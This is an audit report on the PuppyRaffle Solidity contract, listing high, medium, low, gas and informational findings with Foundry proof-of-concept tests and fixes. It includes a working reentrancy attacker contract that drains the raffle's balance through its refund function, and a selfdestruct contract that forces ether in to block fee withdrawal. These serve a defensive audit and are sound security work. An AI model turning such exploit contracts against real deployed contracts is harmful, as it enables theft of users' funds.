PuppyRaffle Audit Report

Version 1.0

Frank.io

February 24, 2024

PuppyRaffle Audit Report

Frank Ozoalor

Feb 2, 2024

Prepared by: Frank, Security Researcher:

Table of Contents

  - [M-1] **Weak randomness in `PuppyRaffle::selectWinners` allow user to influence the winner and the winning puppy**
  - [M-2] **Looping through an unbounded array `PuppyRaffle::enterRaffle` will constantly increase gascost for subsequent user, pontentially causing denial of service attack,**
  - [M-3] **Smart Contract wallets raffle winners without a `recieve` or `fallback` function will block the start of a new contest**

- Low
  - [L-1] **In `PuppyRaffle::getActivePlayerIndex`, player at index `0` might think he is not active, which can be misleading for players that are in index `0`**
  - [L-2] **Events are missing in some crucial functions that updates state, which can be useful for off chain monitoring**

- Gas
  - [G-1] **should use cached array length instead of referencing `length` member of the storage array**.
  - [G-2] **Unchanged state variable should be declared constant or immutable**

- Informational
  - [I-1] **`PuppyRaffle::isActivePlayer` not used anywhere in the code base**
  - [I-2] **Solidity pragma should be specific, not wide**
  - [1-3] **Using an outdated version of solidity is not recommended**

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the enterRaffle function with the following parameters:
2. address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
3. Duplicate addresses are not allowed.
4. Users are allowed to get a refund of their ticket & value if they call the refund function
5. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
6. The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

This audit makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. An audit by Frank is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.
- Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Meduim	3
Low	2
Gas	2
Informational	3
Total	13

Findings

High

[H-1] There is a `reentrancyAttack` in the `PuppyRaffle::refund`, allows entrants to reenter the `refund` function and steal all the funds in the contract

Description The `PuppyRaffle::refund` function makes an external call before updating the state of the user. Hence not following the Checks Effects Interactions Pattern. This can open the contract up for reentrancy and users can expoilt this to steal all the ether in the contract.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(
4              playerAddress == msg.sender,
5              "PuppyRaffle: Only the player can refund"
6          );
7          require(
8              playerAddress != address(0),
9              "PuppyRaffle: Player already refunded, or is not active"
10         );
11         //@audit Re-entrancy attack
12 @>         payable(msg.sender).sendValue(entranceFee);
13 @>         players[playerIndex] = address(0);
14
15         emit RaffleRefunded(playerAddress);
16     }
```

Impact An entrant could have a `recieve`/`fallback` function that can re-enter the `PuppyRaffle::refund` function multiple times to drain all the funds in the contract.

Proof of Concept Copy and paste the following code in `PuppyRaffleTest.t.sol`

POC

```
    function test_reentrancyrefund() public {
         address[] memory players = new address[](4);
         players[0] = playerOne;
         players[1] = playerTwo;
         players[2] = playerThree;
         players[3] = playerFour;
         puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

         ReentrancyAttack attackerContract = new ReentrancyAttack(
            puppyRaffle);
         address attackUser = makeAddr("attackUser");
         vm.deal(attackUser, 1 ether);

         uint256 startingAttackContractBalance = address(
            attackerContract)
             .balance;
         uint256 startingContractBalance = address(puppyRaffle).balance;

         //attack
         vm.prank(attackUser);
         attackerContract.attack{value: entranceFee}();

         uint256 endingAttackContractBalance = address(attackerContract)
            .balance;

         console.log(
             "starting attack contract balance",
             startingAttackContractBalance
         );

         console.log("starting Puppy contract balance",
            startingContractBalance);

         console.log(
             "ending attacker contract balance",
             endingAttackContractBalance
         );
         console.log(
             "ending puppy contract balance",
             address(puppyRaffle).balance
         );
     }

     //Paste this as a separate contract in the `PuppyRaffleTest.t.sol`
     contract ReentrancyAttack {
     PuppyRaffle puppyRaffle;
     uint256 entranceFee;
```

```
44      uint256 attackerIndex;
45
46      constructor(PuppyRaffle _puppyRaffle) {
47          puppyRaffle = _puppyRaffle;
48          entranceFee = puppyRaffle.entranceFee();
49      }
50
51      function attack() public payable {
52          address[] memory players = new address[](1);
53          players[0] = address(this);
54          puppyRaffle.enterRaffle{value: entranceFee}(players);
55          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
56          puppyRaffle.refund(attackerIndex);
57      }
58
59      function _stealMoney() internal {
60          if (address(puppyRaffle).balance >= entranceFee) {
61              puppyRaffle.refund(attackerIndex);
62          }
63      }
64
65      receive() external payable {
66          _stealMoney();
67      }
68
69      fallback() external payable {
70          _stealMoney();
71      }
72  }
```

Recommended Mitigation There two primary mitigation you can follow for this

1. Use Openzeppelin Re-entrancy modifier to protect aganist re-entrancy in function calls OpenZeppelin's `Re-entrancy` modifier.
2. Follow the Checks Effects Interactions Pattern by updating the user's state and emiting events before making external call.

```
1     function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(
4              playerAddress == msg.sender,
5              "PuppyRaffle: Only the player can refund"
6          );
7          require(
8              playerAddress != address(0),
9              "PuppyRaffle: Player already refunded, or is not active"
10         );
11
```

```
12 -        payable(msg.sender).sendValue(entranceFee);
13
14 +        players[playerIndex] = address(0);
15 +        emit RaffleRefunded(playerAddress);
16 +        payable(msg.sender).sendValue(entranceFee);
17 -        emit RaffleRefunded(playerAddress);
18      }
```

[H-2] Ether can be forcefully sent into the contract, causing `PuppyRaffle::withdrawFees` to constantly revert and Fees unwithdrawable

DESCRIPTION Though the contract does not have any recieve or fall back function, Ether can still be forcefuly sent into the contract with the use of `selfdestruct`. Hence making withdrawFees to constantly revert cause of the line of code

```
1 require(address(this).balance ==
2   uint256(totalFees), "PuppyRaffle: There are currently players active!
       ");
```

IMPACT The call to `PuppyRaffle::withdrawFees` will constantly, revert making owner unable to withdraw fees.

PROOF OF CONCEPT Paste the below code in `PuppyRaffleTest.t.sol`

POC

```
1     function test_MishandlingEth() public {
2         address[] memory players = new address[](1);
3         players[0] = playerOne;
4         vm.deal(playerOne, 2 ether);
5         vm.prank(playerOne);
6         puppyRaffle.enterRaffle{value: entranceFee}(players);
7
8         SelfDestruct _selfdestruct = new SelfDestruct{value: 1 ether}(
9             puppyRaffle
10        );
11        uint256 puppycontractBalanceBefore = address(puppyRaffle).
              balance;
12        uint256 attackercontractBalanceBefore = address(_selfdestruct).
              balance;
13
14        console.log(
15            " puppy contract balance before",
16            puppycontractBalanceBefore
17        );
18        console.log(
19            " attacker contract balance before",
20            attackercontractBalanceBefore
```

```
21          );
22
23          _selfdestruct.attack();
24
25          uint256 puppycontractBalanceAfter = address(puppyRaffle).
                balance;
26          uint256 attackercontractBalanceAfter = address(_selfdestruct).
                balance;
27          console.log(" puppy contract balance after",
                puppycontractBalanceAfter);
28          console.log(
29              " attacker contract balance after",
30              attackercontractBalanceAfter
31          );
32          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
33          puppyRaffle.withdrawFees();
34      }
35
36      //Paste this as a seperate contract in the test file
37
38      contract SelfDestruct {
39      PuppyRaffle puppyRaffle;
40
41      constructor(PuppyRaffle _puppyRaffle) payable {
42          puppyRaffle = _puppyRaffle;
43      }
44
45      function attack() public {
46          selfdestruct(payable(address(puppyRaffle)));
47      }
48  }
```

RECOMMENDED MITIGATION When checking the balances with introspection, strict using equality checks should be avoided as the balance can be changed by an outsider at will. instead, you can create a separate variable that tracks the total amount of ether sent in by players.

[H-3] Unsafe Casting of `TotalFee` in `PuppyRaffle::selectWinner`, protocol can potentially loose alot of fees

DESCRIPTION In `PuppyRaffle::selectWinner`, `fee` is being typecasted from uint256 to uint64, this can pontentially lead to a significant loss of fees for the protocol

```
1   uint256 fee = (totalAmountCollected * 20) / 100;
2   //>@audit unsafe casting from uint256 to uint64
3           totalFees = totalFees + uint64(fee);
```

IMPACT In `PuppyRaffle::selectWinner`, totalFees are accumulated for the `feeAddress` to

collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees paermanently stuck in the contract.

PROOF OF CONCEPT Paste the below code in `PuppyRaffleTest.t.sol`

POC

```
    function test_unsafeCasting() public {
        uint256 totalFees = 20 ether;
        uint64 unsafeCasting = uint64(totalFees);
        console.log("fees:", totalFees); // 20.000000000000000000
        console.log("new fees after casting:", unsafeCasting); //
            1.553255926290448384
        assertLt(unsafeCasting, totalFees);
    }
```

As we can, when there is an unsafe casting from `uint256` to `uint64`, if the value of `totalFees` is greater than `uint64` it overflows, which can cause a tremedously loss of fees for the protocol

RECOMMENDED MITIGATION

1. New versions of solidity `0.8.0` comes with an inbuilt over/underflow check. Recommend upgrading to a newer version of solidity pragma.
2. Or use Openzeppelin SafeCast library. which checks aganist overflow and underflow

Medium

[M-1] Weak randomness in `PuppyRaffle::selectWinners` allow user to influence the winner and the winning puppy

DESCRIPTION Hasing `msg.sender`, `block.timestamp` and `block.diffculty` creates a predictable final number. Malicious entrants can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally creates room for entrants to front-run this function and call `refund` if they are not the winner.

IMPACT Any user can influence the winner of the raffle, and the `rarest` puppy to be minted.

PROOF OF CONCEPT

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. `block.difficulty` was recently replaced with `prevrandao`.

2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winer.
3. Users can revert their `selectWinner` transaction if they dont like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector

RECOMMENDED MITIGATION Consider using a cryptographically provable random number generator such as chainlink VRF.

[M-2] Looping through an unbounded array `PuppyRaffle::enterRaffle` will constantly increase gascost for subsequent user, pontentially causing denial of service attack,

DESCRIPTION The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the`PuppyRaffle::player` array is, the more checks a new player will have to make. This means the gas cost for players who enter right when the raffle starts will be dramatically lower than those who entered later. Every additional address in the `players` array is an additional check the loop will have to make.

```
1       for (uint256 i = 0; i < players.length - 1; i++) {
2               for (uint256 j = i + 1; j < players.length; j++) {
3                   require(
4                       players[i] != players[j],
5                       "PuppyRaffle: Duplicate player"
6                   );
7               }
8           }
```

IMPACT The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering the raffle. An attacker might make the `PuppyRaffle::entrants` array so big, that no one elese enters, guaranting them a higher chance to win.

PROOF OF CONCEPT Assuming we have two sets of 100 players, The first 100 players will pay less gas than the second 100 players.

POC

Place the following test into PuppyRaffle.t.sol

```
1       function test_denialOfService() public {
2           vm.txGasPrice(1);
3           uint256 playersNum = 100;
4           address[] memory players = new address[](playersNum);
5
6           for (uint256 i = 0; i < playersNum; i++) {
7               players[i] = address(i);
```

```
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players", gasUsedFirst);

        address[] memory playersTwo = new address[](playersNum);

        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length
            }(
            playersTwo
        );
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
            gasprice;
        console.log("Gas cost of the second 100 players", gasUsedSecond
            );
        assert(gasUsedFirst < gasUsedSecond);
    }
```

- 1st 100 players = 6252048 gas
- 2nd 100 players = 18068138 gas From the above we can see that the 2nd 100 players paid 3x more gas than the 1st 100 players.

RECOMMENDED MITIGATION

1. Consider disallowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This is more gas efficient. You could have each raffle have a `uint256` id, and the mapping would be a player address mapped to the raffle Id.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
```

```
10 +             addressToRaffleId[newPlayers[i]] = raffleId;
11           }
12
13 -         // Check for duplicates
14 +         // Check for duplicates only from the new players
15 +         for (uint256 i = 0; i < newPlayers.length; i++) {
16 +            require(addressToRaffleId[newPlayers[i]] != raffleId, "
       PuppyRaffle: Duplicate player");
17 +         }
18 -         for (uint256 i = 0; i < players.length; i++) {
19 -             for (uint256 j = i + 1; j < players.length; j++) {
20 -                 require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
21 -             }
22 -         }
23           emit RaffleEnter(newPlayers);
24       }
25 .
26 .
27 .
28       function selectWinner() external {
29 +         raffleId = raffleId + 1;
30           require(block.timestamp >= raffleStartTime + raffleDuration, "
              PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-3] Smart Contract wallets raffle winners without a `recieve` or `fallback` function will block the start of a new contest

Description The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart

Users could easily call the `selectWinner` function again and an EOA entrants could be selected, but that could get very challenging and cost ineffective.

Impact The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Proof of Concept

1. 10 smart contract wallets enter the lottery without a `fallback`/`recieve` function.
2. lottery ends
3. The `selectWinner` function wouldnt work, even though the lottery is over

RECOMMENDED MITIGATION There are few mitigations to follow for this

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of address -> payout amounts, so winners can pull their funds out themselves with a new `claimPrize` function, Putting the owness on the winner to claim their prize.

Low

[L-1] In `PuppyRaffle::getActivePlayerIndex`, player at index `0` might think he is not active, which can be misleading for players that are in index `0`

DESCRIPTION The `getActivePlayerIndex` function returns `0` if player is not active, This can be misleading for active players located at index `0`.

```
    function getActivePlayerIndex(
         address player
     ) external view returns (uint256) {
         for (uint256 i = 0; i < players.length; i++) {
             if (players[i] == player) {
                 return i;
             }
         }
         return 0;
     }
```

IMPACT The return of `0` when there is player is non active player can be misleading, it can make player at index `0` think he is not active while being active, if this function is later used for some accounting purposes it might lead to unexpected behaviour in the protocol.

RECOMMENDED MITIGATION Recommend using custom error for non active players

```
+ error playerNotActive

     function getActivePlayerIndex(
         address player
     ) external view returns (uint256) {
         for (uint256 i = 0; i < players.length; i++) {
             if (players[i] == player) {
                 return i;
             }
         }
-         return 0;
+    revert playerNotActive()
     }
```

[L-2] Events are missing in some crucial functions that updates state, which can be useful for off chain monitoring

DESCRIPTION Events are missing in some crucial functions like `PuppyRaffle::selectWinner` and `PuppyRaffle::withdrawFees`

IMPACT it might become challenging to track and analyze the history of transactions and state changes in the protocol

RECOMMENDED MITIGATION Include event emitters in `PuppyRaffle::selectWinner` and `PuppyRaffle::withdrawFees` , it can be useful for offchain monitoring

```
+     event Winner(address _player);
+     event withdrawFees(uint256 _fees);

  function selectWinner() external {
    // Rest of the code
        delete players;
        raffleStartTime = block.timestamp;
        previousWinner = winner;
        (bool success, ) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to
           winner");
        _safeMint(winner, tokenId);
+        emit Winner(winner);
    }

  function withdrawFees() external {
        require(
            address(this).balance == uint256(totalFees),
            "PuppyRaffle: There are currently players active!"
        );
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success, ) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
+     emit withdrawFees(feesToWithdraw)
    }
```

Gas

[G-1] should use cached array length instead of referencing `length` member of the storage array.

DESCRIPTION In `PuppyRaffle::enterRaffle` player's length is referenced from storage for each round of iteration, which can increase the transaction cost of the function for users.

RECOMMENDED MITIGATION Cache the lengths of storage arrays if they are used and not modified in for loops.

```
+  uint256 playersLength = players.length;
-  for (uint256 i = 0; i < players.length - 1; i++)
+  for (uint256 i = 0; i < playersLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++)
+          for (uint256 j = i + 1; j < playersLength; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

[G-2] Unchanged state variable should be declared constant or immutable

Description Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

Recommended Mitigation

Informational

[I-1] `PuppyRaffle::isActivePlayer` not used anywhere in the code base

DESCRIPTION The `PuppyRaffle::getActivePlayerIndex` function is not used anywhere in the codebase, recommend removing this function to save gas.

```

-    function _isActivePlayer() internal view returns (bool) {
-     for (uint256 i = 0; i < players.length; i++) {
-           if (players[i] == msg.sender) {
-               return true;
-           }
-       }
-       return false;
```

```
9 -     }
```

IMPACT Introduces unecessary deployment cost of the contract.

RECOMMENDED MITIGATION Remove this funcition if not being used.

[I-2] Solidity pragma should be specific, not wide

RECOMMENDED MITIGATION Consider using a specific version of solidity instead of a wide version. For example, instead of `pragma solidity ^0.8.0`, use `pragma solidity 0.8.0`

- Found in src/PuppyRaffle.sol: 32:23:35

[1-3] Using an outdated version of solidity is not recommended

RECOMMENDED MITIGATION Deploy with any of following Solidity versions:

`0.8.18`

The recommendations take into account: Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs

Please see slither documentation for more information.